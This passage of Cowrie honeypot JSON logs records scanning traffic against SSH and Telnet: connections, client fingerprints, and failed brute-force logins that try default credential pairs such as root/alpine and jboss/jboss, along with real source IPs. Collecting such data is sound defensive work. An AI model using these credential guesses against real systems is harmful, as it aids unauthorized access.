openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:20.020818Z","src_ip":"45.156.87.69","session":"77cc713af1c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpine","message":"login attempt [root/alpine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:20.279365Z","src_ip":"45.156.87.69","session":"77cc713af1c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:21.365052Z","src_ip":"45.156.87.69","session":"77cc713af1c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.221765995025635,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:22.542851Z","src_ip":"152.42.224.71","session":"cf89e036565f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53096,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8c99dfd3dd4","protocol":"telnet","message":"New connection: 152.42.224.71:53096 (10.17.0.5:23) [session: b8c99dfd3dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:22.844287Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":60392,"dst_ip":"159.203.135.109","dst_port":22,"session":"46226ff4bf56","protocol":"ssh","message":"New connection: 45.156.87.69:60392 (159.203.135.109:22) [session: 46226ff4bf56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:23.438178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:23.442770Z","src_ip":"45.156.87.69","session":"46226ff4bf56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:23.561571Z","src_ip":"45.156.87.69","session":"46226ff4bf56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":57812,"dst_ip":"159.203.135.109","dst_port":22,"session":"355c28edb2d7","protocol":"ssh","message":"New connection: 147.45.197.250:57812 (159.203.135.109:22) [session: 355c28edb2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:23.613698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:23.618222Z","src_ip":"147.45.197.250","session":"355c28edb2d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53106,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0dc528a8fc3","protocol":"telnet","message":"New connection: 152.42.224.71:53106 (10.17.0.5:23) [session: d0dc528a8fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:23.659058Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:23.711635Z","src_ip":"147.45.197.250","session":"355c28edb2d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r123","message":"login attempt [root/1q2w3e4r123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:23.990977Z","src_ip":"147.45.197.250","session":"355c28edb2d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jboss","password":"jboss","message":"login attempt [jboss/jboss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:24.315751Z","src_ip":"45.156.87.69","session":"46226ff4bf56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:25.087487Z","src_ip":"147.45.197.250","session":"355c28edb2d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:25.421278Z","src_ip":"45.156.87.69","session":"46226ff4bf56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46248,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0947ddabfd0","protocol":"telnet","message":"New connection: 152.42.224.71:46248 (10.17.0.5:23) [session: b0947ddabfd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:26.071062Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":36544,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2432404790d","protocol":"ssh","message":"New connection: 45.156.87.69:36544 (159.203.135.109:22) [session: b2432404790d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:27.180420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:27.190192Z","src_ip":"45.156.87.69","session":"b2432404790d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:27.303392Z","src_ip":"45.156.87.69","session":"b2432404790d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.8249454498291016,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:27.483916Z","src_ip":"152.42.224.71","session":"d0dc528a8fc3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:28.174206Z","src_ip":"45.156.87.69","session":"b2432404790d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.21196103096008,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:28.199456Z","src_ip":"152.42.224.71","session":"c4341deb37c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:29.263864Z","src_ip":"45.156.87.69","session":"b2432404790d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":36558,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed98c3252842","protocol":"ssh","message":"New connection: 45.156.87.69:36558 (159.203.135.109:22) [session: ed98c3252842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:30.796746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:30.805702Z","src_ip":"45.156.87.69","session":"ed98c3252842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:30.912426Z","src_ip":"45.156.87.69","session":"ed98c3252842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"Pass@123","message":"login attempt [server/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:31.809695Z","src_ip":"45.156.87.69","session":"ed98c3252842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:32.995086Z","src_ip":"45.156.87.69","session":"ed98c3252842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.91553783416748,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:33.733974Z","src_ip":"152.42.224.71","session":"e1003cfa2de2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46254,"dst_ip":"10.17.0.5","dst_port":23,"session":"29c2f546fe1a","protocol":"telnet","message":"New connection: 152.42.224.71:46254 (10.17.0.5:23) [session: 29c2f546fe1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:34.730155Z"}
{"eventid":"cowrie.session.closed","duration":37.1980242729187,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:43.920929Z","src_ip":"152.42.224.71","session":"70ce2c727232","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37118,"dst_ip":"10.17.0.5","dst_port":23,"session":"015c21c8d717","protocol":"telnet","message":"New connection: 152.42.224.71:37118 (10.17.0.5:23) [session: 015c21c8d717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:44.306761Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37124,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa795315ffd4","protocol":"telnet","message":"New connection: 152.42.224.71:37124 (10.17.0.5:23) [session: aa795315ffd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:45.555420Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":45432,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ce08a5ace26","protocol":"ssh","message":"New connection: 193.32.162.145:45432 (10.17.0.5:22) [session: 0ce08a5ace26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:50.034169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:50.038443Z","src_ip":"193.32.162.145","session":"0ce08a5ace26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:50.139296Z","src_ip":"193.32.162.145","session":"0ce08a5ace26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:50.490326Z","src_ip":"193.32.162.145","session":"0ce08a5ace26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48764,"dst_ip":"10.17.0.5","dst_port":23,"session":"63da299459cf","protocol":"telnet","message":"New connection: 152.42.224.71:48764 (10.17.0.5:23) [session: 63da299459cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:51.271046Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49942,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2d6ee84a444","protocol":"ssh","message":"New connection: 152.42.212.128:49942 (159.203.135.109:22) [session: a2d6ee84a444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:51.322783Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:51.327015Z","src_ip":"152.42.212.128","session":"a2d6ee84a444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:51.330139Z","src_ip":"152.42.212.128","session":"a2d6ee84a444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:51.599770Z","src_ip":"193.32.162.145","session":"0ce08a5ace26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46770,"dst_ip":"10.17.0.5","dst_port":23,"session":"838fb32a2070","protocol":"telnet","message":"New connection: 152.42.224.71:46770 (10.17.0.5:23) [session: 838fb32a2070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:58.099307Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.237.147.156","src_port":54636,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fcd6aa51b8e","protocol":"ssh","message":"New connection: 104.237.147.156:54636 (10.17.0.5:22) [session: 6fcd6aa51b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.856268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.862084Z","src_ip":"104.237.147.156","session":"6fcd6aa51b8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:59:04.871518Z","src_ip":"104.237.147.156","session":"6fcd6aa51b8e","protocol":"ssh"}
